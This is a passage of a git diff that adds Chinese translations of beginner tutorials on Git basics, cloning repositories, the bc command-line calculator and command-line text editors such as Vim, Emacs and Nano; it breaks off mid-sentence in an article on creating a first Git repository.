https://www.vagrantup.com/ +[11]: https://test.docker.com/ +[12]: https://docs.docker.com/engine/reference/commandline/swarm_init/ +[13]: https://hub.docker.com/ +[14]: https://hub.docker.com/r/chadlung/hello-app/ +[15]: https://hub.docker.com/r/chadlung/hello-app/ +[16]: https://github.com/ManoMarks/docker-swarm-visualizer diff --git a/published/201608/20160706 What is Git.md b/published/201608/20160706 What is Git.md new file mode 100644 index 0000000000..f0fa7dded8 --- /dev/null +++ b/published/201608/20160706 What is Git.md @@ -0,0 +1,118 @@ +Git 系列(一):什么是 Git +=========== + +欢迎阅读本系列关于如何使用 Git 版本控制系统的教程!通过本文的介绍,你将会了解到 Git 的用途及谁该使用 Git。 + +如果你刚步入开源的世界,你很有可能会遇到一些在 Git 上托管代码或者发布使用版本的开源软件。事实上,不管你知道与否,你都在使用基于 Git 进行版本管理的软件:Linux 内核(就算你没有在手机或者电脑上使用 Linux,你正在访问的网站也是运行在 Linux 系统上的),Firefox、Chrome 等其他很多项目都通过 Git 代码库和世界各地开发者共享他们的代码。 + +换个角度来说,你是否仅仅通过 Git 就可以和其他人共享你的代码?你是否可以在家里或者企业里私有化的使用 Git?你必须要通过一个 GitHub 账号来使用 Git 吗?为什么要使用 Git 呢?Git 的优势又是什么?Git 是我唯一的选择吗?这对 Git 所有的疑问都会把我们搞的一脑浆糊。 + +因此,忘记你以前所知的 Git,让我们重新走进 Git 世界的大门。 + +### 什么是版本控制系统? + +Git 首先是一个版本控制系统。现在市面上有很多不同的版本控制系统:CVS、SVN、Mercurial、Fossil 当然还有 Git。 + +很多像 GitHub 和 GitLab 这样的服务是以 Git 为基础的,但是你也可以只使用 Git 而无需使用其他额外的服务。这意味着你可以以私有或者公有的方式来使用 Git。 + +如果你曾经和其他人有过任何电子文件方面的合作,你就会知道传统版本管理的工作流程。开始是很简单的:你有一个原始的版本,你把这个版本发送给你的同事,他们在接收到的版本上做了些修改,现在你们有两个版本了,然后他们把他们手上修改过的版本发回来给你。你把他们的修改合并到你手上的版本中,现在两个版本又合并成一个最新的版本了。 + +然后,你修改了你手上最新的版本,同时,你的同事也修改了他们手上合并前的版本。现在你们有 3 个不同的版本了,分别是合并后最新的版本,你修改后的版本,你同事手上继续修改过的版本。至此,你们的版本管理工作开始变得越来越混乱了。 + +正如 Jason van Gumster 在他的文章中指出 [即使是艺术家也需要版本控制][1],而且已经在个别人那里发现了这种趋势变化。无论是艺术家还是科学家,开发一个某种实验版本是并不鲜见的;在你的项目中,可能有某个版本大获成功,把项目推向一个新的高度,也可能有某个版本惨遭失败。因此,最终你不可避免的会创建出一堆名为project\_justTesting.kdenlive、project\_betterVersion.kdenlive、project\_best\_FINAL.kdenlive、project\_FINAL-alternateVersion.kdenlive 等类似名称的文件。 + +不管你是修改一个 for 循环,还是一些简单的文本编辑,一个好的版本控制系统都会让我们的生活更加的轻松。 + +### Git 快照 + +Git 可以为项目创建快照,并且存储这些快照为唯一的版本。 + +如果你将项目带领到了一个错误的方向上,你可以回退到上一个正确的版本,并且开始尝试另一个可行的方向。 + +如果你是和别人合作开发,当有人向你发送他们的修改时,你可以将这些修改合并到你的工作分支中,然后你的同事就可以获取到合并后的最新版本,并在此基础上继续工作。 + +Git 并不是魔法,因此冲突还是会发生的(“你修改了某文件的最后一行,但是我把这行整行都删除了;我们怎样处理这些冲突呢?”),但是总体而言,Git 会为你保留了所有更改的历史版本,甚至允许并行版本。这为你保留了以任何方式处理冲突的能力。 + +### 分布式 Git + +在不同的机器上为同一个项目工作是一件复杂的事情。因为在你开始工作时,你想要获得项目的最新版本,然后此基础上进行修改,最后向你的同事共享这些改动。传统的方法是通过笨重的在线文件共享服务或者老旧的电邮附件,但是这两种方式都是效率低下且容易出错。 + +Git 天生是为分布式工作设计的。如果你要参与到某个项目中,你可以克隆(clone)该项目的 Git 仓库,然后就像这个项目只有你本地一个版本一样对项目进行修改。最后使用一些简单的命令你就可以拉取(pull)其他开发者的修改,或者你可以把你的修改推送(push)给别人。现在不用担心谁手上的是最新的版本,或者谁的版本又存放在哪里等这些问题了。全部人都是在本地进行开发,然后向共同的目标推送或者拉取更新。(或者不是共同的目标,这取决于项目的开发方式)。 + +### Git 界面 + +最原始的 Git 是运行在 Linux 终端上的应用软件。然而,得益于 Git 是开源的,并且拥有良好的设计,世界各地的开发者都可以为 Git 设计不同的访问界面。 + +Git 完全是免费的,并且已经打包在 Linux,BSD,Illumos 和其他类 Unix 系统中,Git 命令看起来像这样: + +``` +$ git --version +git version 2.5.3 +``` + +可能最著名的 Git 访问界面是基于网页的,像 GitHub、开源的 GitLab、Savannah、BitBucket 和 SourceForge 这些网站都是基于网页端的 Git 界面。这些站点为面向公众和面向社会的开源软件提供了最大限度的代码托管服务。在一定程度上,基于浏览器的图形界面(GUI)可以尽量的减缓 Git 的学习曲线。下面的 GitLab 界面的截图: + +![](https://opensource.com/sites/default/files/0_gitlab.png) + +再者,第三方 Git 服务提供商或者独立开发者甚至可以在 Git 的基础上开发出不是基于 HTML 的定制化前端界面。此类界面让你可以不用打开浏览器就可以方便的使用 Git 进行版本管理。其中对用户最透明的方式是直接集成到文件管理器中。KDE 文件管理器 Dolphin 可以直接在目录中显示 Git 状态,甚至支持提交,推送和拉取更新操作。 + +![](https://opensource.com/sites/default/files/0_dolphin.jpg) + +[Sparkleshare][2] 使用 Git 作为其 Dropbox 式的文件共享界面的基础。 + +![](https://opensource.com/sites/default/files/0_sparkleshare_1.jpg) + +想了解更多的内容,可以查看 [Git wiki][3],这个(长长的)页面中展示了很多 Git 的图形界面项目。 + +### 谁应该使用 Git? + +就是你!我们更应该关心的问题是什么时候使用 Git?和用 Git 来干嘛? + +### 我应该在什么时候使用 Git 呢?我要用 Git 来干嘛呢? + +想更深入的学习 Git,我们必须比平常考虑更多关于文件格式的问题。 + +Git 是为了管理源代码而设计的,在大多数编程语言中,源代码就意味者一行行的文本。当然,Git 并不知道你把这些文本当成是源代码还是下一部伟大的美式小说。因此,只要文件内容是以文本构成的,使用 Git 来跟踪和管理其版本就是一个很好的选择了。 + +但是什么是文本呢?如果你在像 Libre Office 这类办公软件中编辑一些内容,通常并不会产生纯文本内容。因为通常复杂的应用软件都会对原始的文本内容进行一层封装,就如把原始文本内容用 XML 标记语言包装起来,然后封装在 Zip 包中。这种对原始文本内容进行一层封装的做法可以保证当你把文件发送给其他人时,他们可以看到你在办公软件中编辑的内容及特定的文本效果。奇怪的是,虽然,通常你的需求可能会很复杂,就像保存 [Kdenlive][4] 项目文件,或者保存从 [Inkscape][5] 导出的SVG文件,但是,事实上使用 Git 管理像 XML 文本这样的纯文本类容是最简单的。 + +如果你在使用 Unix 系统,你可以使用 `file` 命令来查看文件内容构成: + +``` +$ file ~/path/to/my-file.blah +my-file.blah: ASCII text +$ file ~/path/to/different-file.kra: Zip data (MIME type "application/x-krita") +``` + +如果还是不确定,你可以使用 `head` 命令来查看文件内容: + +``` +$ head ~/path/to/my-file.blah +``` + +如果输出的文本你基本能看懂,这个文件就很有可能是文本文件。如果你仅仅在一堆乱码中偶尔看到几个熟悉的字符,那么这个文件就可能不是文本文件了。 + +准确的说:Git 可以管理其他格式的文件,但是它会把这些文件当成二进制大对象(blob)。两者的区别是,在文本文件中,Git 可以明确的告诉你在这两个快照(或者说提交)间有 3 行是修改过的。但是如果你在两个提交(commit)之间对一张图片进行的编辑操作,Git 会怎么指出这种修改呢?实际上,因为图片并不是以某种可以增加或删除的有意义的文本构成,因此 Git 并不能明确的描述这种变化。当然我个人是非常希望图片的编辑可以像把文本“\丑陋的蓝绿色\”修改成“\漂浮着蓬松白云的天蓝色\”一样的简单,但是事实上图片的编辑并没有这么简单。 + +经常有人在 Git 上放入 png 图标、电子表格或者流程图这类二进制大型对象(blob)。尽管,我们知道在 Git 上管理此类大型文件并不直观,但是,如果你需要使用 Git 来管理此类文件,你也并不需要过多的担心。如果你参与的项目同时生成文本文件和二进制大文件对象(如视频游戏中常见的场景,这些和源代码同样重要的图像和音频材料),那么你有两条路可以走:要么开发出你自己的解决方案,就如使用指向共享网络驱动器的引用;要么使用 Git 插件,如 Joey Hess 开发的 [git annex][6],以及 [Git-Media][7] 项目。 + +你看,Git 真的是一个任何人都可以使用的工具。它是你进行文件版本管理的一个强大而且好用工具,同时它并没有你开始认为的那么可怕。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/resources/what-is-git + +作者:[Seth Kenlon][a] +译者:[cvsher](https://github.com/cvsher) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[1]: https://opensource.com/life/16/2/version-control-isnt-just-programmers +[2]: http://sparkleshare.org/ +[3]: https://git.wiki.kernel.org/index.php/InterfacesFrontendsAndTools#Graphical_Interfaces +[4]: https://opensource.com/life/11/11/introduction-kdenlive +[5]: http://inkscape.org/ +[6]: https://git-annex.branchable.com/ +[7]: https://github.com/alebedev/git-media diff --git a/published/201608/20160711 Getting started with Git.md b/published/201608/20160711 Getting started with Git.md new file mode 100644 index 0000000000..a490e59e2d --- /dev/null +++ b/published/201608/20160711 Getting started with Git.md @@ -0,0 +1,141 @@ +初步了解 Git +========================= + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/get_started_lead.jpeg?itok=r22AKc6P) + +*图片来源:opensource.com* + +在这个系列的[介绍篇][4]中,我们学习到了谁应该使用 Git,以及 Git 是用来做什么的。今天,我们将学习如何克隆公共 Git 仓库,以及如何提取出独立的文件而不用克隆整个仓库。 + +由于 Git 如此流行,因而如果你能够至少熟悉一些基础的 Git 知识也能为你的生活带来很多便捷。如果你可以掌握 Git 基础(你可以的,我发誓!),那么你将能够下载任何你需要的东西,甚至还可能做一些贡献作为回馈。毕竟,那就是开源的精髓所在:你拥有获取你使用的软件代码的权利,拥有和他人分享的自由,以及只要你愿意就可以修改它的权利。只要你熟悉了 Git,它就可以让这一切都变得很容易。 + +那么,让我们一起来熟悉 Git 吧。 + +### 读和写 + +一般来说,有两种方法可以和 Git 仓库交互:你可以从仓库中读取,或者你也能够向仓库中写入。它就像一个文件:有时候你打开一个文档只是为了阅读它,而其它时候你打开文档是因为你需要做些改动。 + +本文仅讲解如何从 Git 仓库读取。我们将会在后面的一篇文章中讲解如何向 Git 仓库写回的主题。 + +### Git 还是 GitHub? + +一句话澄清:Git 不同于 GitHub(或 GitLab,或 Bitbucket)。Git 是一个命令行程序,所以它就像下面这样: + +``` +$ git +usage: Git [--version] [--help] [-C ] + [-p | --paginate | --no-pager] [--bare] + [--Git-dir=] [] + +``` + +由于 Git 是开源的,所以就有许多聪明人围绕它构建了基础软件;这些基础软件,包括在他们自己身边,都已经变得非常流行了。 + +我的文章系列将首先教你纯粹的 Git 知识,因为一旦你理解了 Git 在做什么,那么你就无需关心正在使用的前端工具是什么了。然而,我的文章系列也将涵盖通过流行的 Git 服务完成每项任务的常用方法,因为那些将可能是你首先会遇到的。 + +### 安装 Git + +在 Linux 系统上,你可以从所使用的发行版软件仓库中获取并安装 Git。BSD 用户应当在 Ports 树的 devel 部分查找 Git。 + +对于闭源的操作系统,请前往其[项目官网][1],并根据说明安装。一旦安装后,在 Linux、BSD 和 Mac OS X 上的命令应当没有任何差别。Windows 用户需要调整 Git 命令,从而和 Windows 文件系统相匹配,或者安装 Cygwin 以原生的方式运行 Git,而不受 Windows 文件系统转换问题的羁绊。 + +### Git 下午茶 + +并非每个人都需要立刻将 Git 加入到我们的日常生活中。有些时候,你和 Git 最多的交互就是访问一个代码库,下载一两个文件,然后就不用它了。以这样的方式看待 Git,它更像是下午茶而非一次正式的宴会。你进行一些礼节性的交谈,获得了需要的信息,然后你就会离开,至少接下来的三个月你不再想这样说话。 + +当然,那是可以的。 + +一般来说,有两种方法访问 Git:使用命令行,或者使用一种神奇的因特网技术通过 web 浏览器快速轻松地访问。 + +假设你想要给终端安装一个回收站,因为你已经被 rm 命令毁掉太多次了。你可能听说过 Trashy ,它称自己为「理智的 rm 命令中间人」,也许你想在安装它之前阅读它的文档。幸运的是,[Trashy 公开地托管在 GitLab.com][2]。 + +### Landgrab + +我们工作的第一步是对这个 Git 仓库使用 landgrab 排序方法:我们会克隆这个完整的仓库,然后会根据内容排序。由于该仓库是托管在公共的 Git 服务平台上,所以有两种方式来完成工作:使用命令行,或者使用 web 界面。 + +要想使用 Git 获取整个仓库,就要使用 git clone 命令和 Git 仓库的 URL 作为参数。如果你不清楚正确的 URL 是什么,仓库应该会告诉你的。GitLab 为你提供了 [Trashy][3] 仓库的用于拷贝粘贴的 URL。 + +![](https://opensource.com/sites/default/files/1_gitlab-url.jpg) + +你也许注意到了,在某些服务平台上,会同时提供 SSH 和 HTTPS 链接。只有当你拥有仓库的写权限时,你才可以使用 SSH。否则的话,你必须使用 HTTPS URL。 + +一旦你获得了正确的 URL,克隆仓库是非常容易的。就是 git clone 该 URL 即可,以及一个可选的指定要克隆到的目录。默认情况下会将 git 目录克隆到你当前所在的目录;例如,'trashy.git' 将会克隆到你当前位置的 'trashy' 目录。我使用 .clone 扩展名标记那些只读的仓库,而使用 .git 扩展名标记那些我可以读写的仓库,不过这并不是官方要求的。 + +``` +$ git clone https://gitlab.com/trashy/trashy.git trashy.clone +Cloning into 'trashy.clone'... +remote: Counting objects: 142, done. +remote: Compressing objects: 100% (91/91), done. +remote: Total 142 (delta 70), reused 103 (delta 47) +Receiving objects: 100% (142/142), 25.99 KiB | 0 bytes/s, done. +Resolving deltas: 100% (70/70), done. +Checking connectivity... done. +``` + +一旦成功地克隆了仓库,你就可以像对待你电脑上任何其它目录那样浏览仓库中的文件。 + +另外一种获得仓库拷贝的方式是使用 web 界面。GitLab 和 GitHub 都会提供一个 .zip 格式的仓库快照文件。GitHub 有一个大大的绿色下载按钮,但是在 GitLab 中,可以在浏览器的右侧找到并不显眼的下载按钮。 + +![](https://opensource.com/sites/default/files/1_gitlab-zip.jpg) + +### 仔细挑选 + +另外一种从 Git 仓库中获取文件的方法是找到你想要的文件,然后把它从仓库中拽出来。只有 web 界面才提供这种方法,本质上来说,你看到的是别人的仓库克隆;你可以把它想象成一个 HTTP 共享目录。 + +使用这种方法的问题是,你也许会发现某些文件并不存在于原始仓库中,因为完整形式的文件可能只有在执行 make 命令后才能构建,那只有你下载了完整的仓库,阅读了 README 或者 INSTALL 文件,然后运行相关命令之后才会产生。不过,假如你确信文件存在,而你只想进入仓库,获取那个文件,然后离开的话,你就可以那样做。 + +在 GitLab 和 GitHub 中,单击文件链接,并在 Raw 模式下查看,然后使用你的 web 浏览器的保存功能,例如:在 Firefox 中,“文件” \> “保存页面为”。在一个 GitWeb 仓库中(这是一个某些更喜欢自己托管 git 的人使用的私有 git 仓库 web 查看器),Raw 查看链接在文件列表视图中。 + +![](https://opensource.com/sites/default/files/1_webgit-file.jpg) + +### 最佳实践 + +通常认为,和 Git 交互的正确方式是克隆完整的 Git 仓库。这样认为是有几个原因的。首先,可以使用 git pull 命令轻松地使克隆仓库保持更新,这样你就不必在每次文件改变时就重回 web 站点获得一份全新的拷贝。第二,你碰巧需要做些改进,只要保持仓库整洁,那么你可以非常轻松地向原来的作者提交所做的变更。 + +现在,可能是时候练习查找感兴趣的 Git 仓库,然后将它们克隆到你的硬盘中了。只要你了解使用终端的基础知识,那就不会太难做到。还不知道基本的终端使用方式吗?那再给多我 5 分钟时间吧。 + +### 终端使用基础 + +首先要知道的是,所有的文件都有一个路径。这是有道理的;如果我让你在常规的非终端环境下为我打开一个文件,你就要导航到文件在你硬盘的位置,并且直到你找到那个文件,你要浏览一大堆窗口。例如,你也许要点击你的家目录 > 图片 > InktoberSketches > monkey.kra。 + +在那样的场景下,文件 monkeysketch.kra 的路径是:$HOME/图片/InktoberSketches/monkey.kra。 + +在终端中,除非你正在处理一些特殊的系统管理员任务,你的文件路径通常是以 $HOME 开头的(或者,如果你很懒,就使用 ~ 字符),后面紧跟着一些列的文件夹直到文件名自身。 + +这就和你在 GUI 中点击各种图标直到找到相关的文件或文件夹类似。 + +如果你想把 Git 仓库克隆到你的文档目录,那么你可以打开一个终端然后运行下面的命令: + +``` +$ git clone https://gitlab.com/foo/bar.git +$HOME/文档/bar.clone +``` + +一旦克隆完成,你可以打开一个文件管理器窗口,导航到你的文档文件夹,然后你就会发现 bar.clone 目录正在等待着你访问。 + +如果你想要更高级点,你或许会在以后再次访问那个仓库,可以尝试使用 git pull 命令来查看项目有没有更新: + +``` +$ cd $HOME/文档/bar.clone +$ pwd +bar.clone +$ git pull +``` + +到目前为止,你需要初步了解的所有终端命令就是那些了,那就去探索吧。你实践得越多,Git 掌握得就越好(熟能生巧),这是重点,也是事情的本质。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/7/stumbling-git + +作者:[Seth Kenlon][a] +译者:[ChrisLeeGit](https://github.com/chrisleegit) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[1]: https://git-scm.com/download +[2]: https://gitlab.com/trashy/trashy +[3]: https://gitlab.com/trashy/trashy.git +[4]: https://linux.cn/article-7639-1.html diff --git a/published/201608/20160715 bc - Command line calculator.md b/published/201608/20160715 bc - Command line calculator.md new file mode 100644 index 0000000000..bf96f9c464 --- /dev/null +++ b/published/201608/20160715 bc - Command line calculator.md @@ -0,0 +1,129 @@ +bc : 一个命令行计算器 +============================ + +![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/07/bc-calculator-945x400.jpg) + +假如你在一个图形桌面环境中需要一个计算器时,你可能只需要一路进行点击便可以找到一个计算器。例如,Fedora 工作站中就已经包含了一个名为 `Calculator` 的工具。它有着几种不同的操作模式,例如,你可以进行复杂的数学运算或者金融运算。但是,你知道吗,命令行也提供了一个与之相似的名为 `bc` 的工具? + +`bc` 工具可以为你提供的功能可以满足你对科学计算器、金融计算器或者是简单计算器的期望。另外,假如需要的话,它还可以从命令行中被脚本化。这使得当你需要做复杂的数学运算时,你可以在 shell 脚本中使用它。 + +因为 bc 也被用于其他的系统软件,例如 CUPS 打印服务,所以它可能已经在你的 Fedora 系统中被安装了。你可以使用下面这个命令来进行检查: + +``` +dnf list installed bc +``` + +假如因为某些原因你没有在上面命令的输出中看到它,你可以使用下面的这个命令来安装它: + +``` +sudo dnf install bc +``` + +### 用 bc 做一些简单的数学运算 + +使用 bc 的一种方式是进入它自己的 shell。在那里你可以按行进行许多次计算。当你键入 bc 后,首先出现的是有关这个程序的警告: + +``` +$ bc +bc 1.06.95 +Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc. +This is free software with ABSOLUTELY NO WARRANTY. +For details type `warranty'. +``` + +现在你可以按照每行一个输入运算式或者命令了: + +``` +1+1 +``` + +bc 会回答上面计算式的答案是: + +``` +2 +``` + +在这里你还可以执行其他的命令。你可以使用 加(+)、减(-)、乘(*)、除(/)、圆括号、指数符号(\^) 等等。请注意 bc 同样也遵循所有约定俗成的运算规则,例如运算的先后顺序。你可以试试下面的例子: + +``` +(4+7)*2 +4+7*2 +``` + +若要退出 bc 可以通过按键组合 `Ctrl+D` 来发送 “输入结束”信号给 bc 。 + +使用 bc 的另一种方式是使用 `echo` 命令来传递运算式或命令。下面这个示例就是计算器中的 “Hello, world” 例子,使用 shell 的管道函数(|) 来将 `echo` 的输出传入 `bc` 中: + +``` +echo '1+1' | bc +``` + +使用 shell 的管道,你可以发送不止一个运算操作,你需要使用分号来分隔不同的运算。结果将在不同的行中返回。 + +``` +echo '1+1; 2+2' | bc +``` + +### 精度 + +在某些计算中,bc 会使用精度的概念,即小数点后面的数字位数。默认的精度是 0。除法操作总是使用精度的设定。所以,如果你没有设置精度,有可能会带来意想不到的答案: + +``` +echo '3/2' | bc +echo 'scale=3; 3/2' | bc +``` + +乘法使用一个更复杂的精度选择机制: + +``` +echo '3*2' | bc +echo '3*2.0' | bc +``` + +同时,加法和减法的相关运算则与之相似: + +``` +echo '7-4.15' | bc +``` + +### 其他进制系统 + +bc 的另一个有用的功能是可以使用除了十进制以外的其他计数系统。例如,你可以轻松地做十六进制或二进制的数学运算。可以使用 `ibase` 和 `obase` 命令来分别设定输入和输出的进制系统。需要记住的是一旦你使用了 `ibase`,之后你输入的任何数字都将被认为是在新定义的进制系统中。 + +要做十六进制数到十进制数的转换或运算,你可以使用类似下面的命令。请注意大于 9 的十六进制数必须是大写的(A-F): + +``` +echo 'ibase=16; A42F' | bc +echo 'ibase=16; 5F72+C39B' | bc +``` + +若要使得结果是十六进制数,则需要设定 `obase` : + +``` +echo 'obase=16; ibase=16; 5F72+C39B' | bc +``` + +下面是一个小技巧。假如你在 shell 中做这些十六进制运算,怎样才能使得输入重新为十进制数呢?答案是使用 `ibase` 命令,但你必须设定它为在当前进制中与十进制中的 10 等价的值。例如,假如 `ibase` 被设定为十六进制,你需要输入: + +``` +ibase=A +``` + +一旦你执行了上面的命令,所有输入的数字都将是十进制的了,接着你便可以输入 `obase=10` 来重置输出的进制系统。 + +### 结论 + +上面所提到的只是 bc 所能做到的基础。它还允许你为某些复杂的运算和程序定义函数、变量和循环结构。你可以在你的系统中将这些程序保存为文本文件以便你在需要的时候使用。你还可以在网上找到更多的资源,它们提供了更多的例子以及额外的函数库。快乐地计算吧! + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/bc-command-line-calculator/ + +作者:[Paul W. Frields][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/pfrields/ +[1]: http://phodd.net/gnu-bc/ diff --git a/published/201608/20160717 BEST TEXT EDITORS FOR LINUX COMMAND LINE.md b/published/201608/20160717 BEST TEXT EDITORS FOR LINUX COMMAND LINE.md new file mode 100644 index 0000000000..f2a76f10bb --- /dev/null +++ b/published/201608/20160717 BEST TEXT EDITORS FOR LINUX COMMAND LINE.md @@ -0,0 +1,94 @@ +Linux 命令行下的最佳文本编辑器 +========================================== + +![](https://itsfoss.com/wp-content/uploads/2016/07/Best-Command-Line-Text-Editors-for-Linux.jpg) + +文本编辑软件在任何操作系统上都是必备的软件。我们在 Linux 上不缺乏[非常现代化的编辑软件][1],但是它们都是基于 GUI(图形界面)的编辑软件。 + +正如你所了解的,Linux 真正的魅力在于命令行。当你正在用命令行工作时,你就需要一个可以在控制台窗口运行的文本编辑器。 + +正因为这个目的,我们准备了一个基于 Linux 命令行的文本编辑器清单。 + +### [VIM][2] + +如果你已经使用 Linux 有一段时间,那么你肯定听到过 Vim 。Vim 是一个高度可配置的、跨平台的、高效率的文本编辑器。 + +几乎所有的 Linux 发行版本都已经内置了 Vim ,由于其特性之丰富,它已经变得非常流行了。 + +![](https://itsfoss.com/wp-content/uploads/2016/07/vim.png) + +*Vim 用户界面* + +Vim 可能会让第一次使用它的人感到非常痛苦。我记得我第一次尝试使用 Vim 编辑一个文本文件时,我是非常困惑的。我不能用 Vim 输入一个字母,更有趣的是,我甚至不知道该怎么关闭它。如果你准备使用 Vim ,你需要有决心跨过一个陡峭的学习路线。 + +但是一旦你经历过了那些,通过梳理一些文档,记住它的命令和快捷键,你会发现这段学习经历是非常值得的。你可以将 Vim 按照你的意愿进行改造:配置一个让你看起来舒服的界面,通过使用脚本或者插件等来提高工作效率。Vim 支持格式高亮,宏记录和操作记录。 + +在Vim官网上,它是这样介绍的: + +>**Vim: The power tool for everyone!** + +如何使用它完全取决于你。你可以仅仅使用它作为文本编辑器,或者你可以将它打造成一个完善的IDE(Integrated Development Environment:集成开发环境)。 + +### [GNU EMACS][3] + +GNU Emacs 毫无疑问是非常强大的文本编辑器之一。如果你听说过 Vim 和 Emacs ,你应该知道这两个编辑器都拥有非常忠诚的粉丝基础,并且他们对于文本编辑器的选择非常看重。你也可以在互联网上找到大量关于他们的段子: + +![](https://itsfoss.com/wp-content/uploads/2016/07/vi-emacs-768x426.png) + +*Vim vs Emacs* + +Emacs 是一个跨平台的、既有有图形界面也有命令行界面的软件。它也拥有非常多的特性,更重要的是,可扩展! + +![](https://itsfoss.com/wp-content/uploads/2016/07/emacs.png) + +*Emacs 用户界面* + +像 Vim一样,Emacs 也需要经历一个陡峭的学习路线。但是一旦你掌握了它,你就能完全体会到它的强大。Emacs 可以处理几乎所有类型文本文件。它的界面可以定制以适应你的工作流。它也支持宏记录和快捷键。 + +Emacs 独特的特性是它可以“变形”成和文本编辑器完全不同的的东西。有大量的模块可使它在不同的场景下成为不同的应用,例如:计算器、新闻阅读器、文字处理器等。你甚至都可以在 Emacs 里面玩游戏。 + +### [NANO][5] + +如果说到简易方便的软件,Nano 就是一个。不像 Vim 和 Emacs,nano 的学习曲线是平滑的。 + +如果你仅仅是想创建和编辑一个文本文件,不想给自己找太多挑战,Nano 估计是最适合你的了。 + +![](https://itsfoss.com/wp-content/uploads/2016/07/nano.png) + +*Nano 用户界面* + +Nano 可用的快捷键都在用户界面的下方展示出来了。Nano 仅仅拥有最基础的文本编辑软件的功能。 + +它是非常小巧的,非常适合编辑系统配置文件。对于那些不需要复杂的命令行编辑功能的人来说,Nano 是完美配备。 + +### 其它 + +这里还有一些我想要提及其它编辑器: + +[The Nice Editor (ne)][6]: 官网是这样介绍的: + +> 如果你有足够的资料,也有使用 Emacs 的耐心或使用 Vim 的良好心态,那么 ne 可能不适合你。 + +基本上 ne 拥有像 Vim 和 Emacs 一样多的高级功能,包括:脚本和宏记录。但是它有更为直观的操作方式和平滑的学习路线。 + +### 你认为呢? + +我知道,如果你是一个熟练的 Linux 用户,你可以会说还有很多应该被列入 “Linux 最好的命令行编辑器”清单上。因此我想跟你说,如果你还知道其他的 Linux 命令行文本编辑器,你是否愿意跟我们一同分享? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/command-line-text-editors-linux/ + +作者:[Munif Tanjim][a] +译者:[chenzhijun](https://github.com/chenzhijun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/munif/ +[1]: https://linux.cn/article-7468-1.html +[2]: http://www.vim.org/ +[3]: https://www.gnu.org/software/emacs/ +[4]: https://itsfoss.com/download-linux-wallpapers-cheat-sheets/ +[5]: http://www.nano-editor.org/ +[6]: http://ne.di.unimi.it/ diff --git a/published/201608/20160718 Creating your first Git repository.md b/published/201608/20160718 Creating your first Git repository.md new file mode 100644 index 0000000000..d1a8ca2840 --- /dev/null +++ b/published/201608/20160718 Creating your first Git repository.md @@ -0,0 +1,176 @@ +Git 系列(三):建立你的第一个 Git 仓库 +====================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/open_abstract_pieces.jpg?itok=ZRt0Db00) + +现在是时候学习怎样创建你自己的 Git 仓库了,还有怎样增加文件和完成提交。 + +在本系列[前面的文章][4]中,你已经学习了怎样作为一个最终用户与 Git 进行交互;你就像一个漫无目的的流浪者一样偶然发现了一个开源项目网站,克隆了仓库,然后你就可以继续钻研它了。你知道了和 Git 进行交互并不像你想的那样困难,或许你只是需要被说服现在去使用 Git 完成你的工作罢了。 + +虽然 Git 确实是被许多重要软件选作版本控制工具,但是并不是仅能用于这些重要软件;它也能管理你购物清单(如果它们对你来说很重要的话,当然可以了!)、你的配置文件、周报或日记、项目进展日志、甚至源代码! + +使用 Git 是很有必要的,毕竟,你肯定有过因为一个备份文件不能够辨认出版本信息而抓狂的时候。 + +Git 无法帮助你,除非你开始使用它,而现在就是开始学习和使用它的最好时机。或者,用 Git 的话来说,“没有其他的 `push` 能像 `origin HEAD` 一样有帮助了”(千里之行始于足下的意思)。我保证,你很快就会理解这一点的。 + +### 类比于录音 + +我们经常用名词“快照”来指代计算机上的镜像,因为很多人都能够对插满了不同时光的照片的相册充满了感受。这很有用,不过,我认为 Git 更像是进行一场录音。 + +也许你不太熟悉传统的录音棚卡座式录音机,它包括几个部件:一个可以正转或反转的转轴、保存声音波形的磁带,可以通过拾音头在磁带上记录声音波形,或者检测到磁带上的声音波形并播放给听众。 + +除了往前播放磁带,你也可以把磁带倒回到之前的部分,或快进跳过后面的部分。 + +想象一下上世纪 70 年代乐队录制磁带的情形。你可以想象到他们一遍遍地练习歌曲,直到所有部分都非常完美,然后记录到音轨上。起初,你会录下鼓声,然后是低音,再然后是吉他声,最后是主唱。每次你录音时,录音棚工作人员都会把磁带倒带,然后进入循环模式,这样它就会播放你之前录制的部分。比如说如果你正在录制低音,你就会在背景音乐里听到鼓声,就像你自己在击鼓一样,然后吉他手在录制时会听到鼓声、低音(和牛铃声)等等。在每个循环中,你都会录制一部分,在接下来的循环中,工作人员就会按下录音按钮将其合并记录到磁带中。 + +你也可以拷贝或换下整个磁带,如果你要对你的作品重新混音的话。 + +现在我希望对于上述的上世纪 70 年代的录音工作的描述足够生动,这样我们就可以把 Git 的工作想象成一个录音工作了。 + +### 新建一个 Git 仓库 + +首先得为我们的虚拟的录音机买一些磁带。用 Git 的话说,这些磁带就是*仓库*;它是完成所有工作的基础,也就是说这里是存放 Git 文件的地方(即 Git 工作区)。 + +任何目录都可以成为一个 Git 仓库,但是让我们从一个新目录开始。这需要下面三个命令: + +- 创建目录(如果你喜欢的话,你可以在你的图形化的文件管理器里面完成。) +- 在终端里切换到目录。 +- 将其初始化成一个 Git 管理的目录。 + +也就是运行如下代码: + +``` +$ mkdir ~/jupiter # 创建目录 +$ cd ~/jupiter # 进入目录 +$ git init . # 初始化你的新 Git 工作区 +``` + +在这个例子中,文件夹 jupiter 是一个空的但是合法的 